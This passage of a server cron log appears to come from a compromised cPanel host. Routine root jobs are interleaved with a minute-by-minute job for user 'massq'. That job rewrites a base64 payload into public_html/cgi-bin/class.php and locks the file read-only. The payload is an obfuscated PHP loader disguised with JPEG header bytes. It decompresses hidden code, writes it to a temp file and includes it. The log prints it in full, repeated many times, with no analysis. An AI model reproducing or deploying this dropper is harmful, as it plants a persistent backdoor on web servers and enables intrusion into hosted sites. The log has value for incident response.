BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:41:01 server CROND[27127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:42:01 server CROND[27495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:42:01 server CROND[27497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:42:01 server CROND[27498]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 12:42:01 server CROND[27496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:43:01 server CROND[27887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:43:01 server CROND[27888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:43:01 server CROND[27889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:44:01 server CROND[28264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:44:01 server CROND[28265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:44:01 server CROND[28266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:45:01 server CROND[28655]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 12:45:01 server CROND[28656]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:45:01 server CROND[28657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:45:01 server CROND[28659]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 12:45:01 server CROND[28660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:45:01 server CROND[28658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:45:01 server CROND[28663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:46:01 server CROND[29562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:46:01 server CROND[29563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:46:01 server CROND[29564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:47:01 server CROND[29939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:47:01 server CROND[29940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:47:01 server CROND[29941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:48:01 server CROND[30308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:48:01 server CROND[30309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:48:01 server CROND[30310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:49:01 server CROND[30683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:49:01 server CROND[30684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:49:01 server CROND[30685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:50:01 server CROND[31063]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 12:50:01 server CROND[31065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:50:01 server CROND[31067]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:50:01 server CROND[31068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:50:01 server CROND[31069]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 12:50:01 server CROND[31071]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 12:50:01 server CROND[31072]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:50:01 server CROND[31073]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 12:50:01 server CROND[31070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:51:01 server CROND[31980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:51:01 server CROND[31981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:51:01 server CROND[31982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:52:01 server CROND[32351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:52:01 server CROND[32352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:52:01 server CROND[32353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:53:01 server CROND[32736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:53:01 server CROND[32737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:53:01 server CROND[32738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:54:01 server CROND[755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
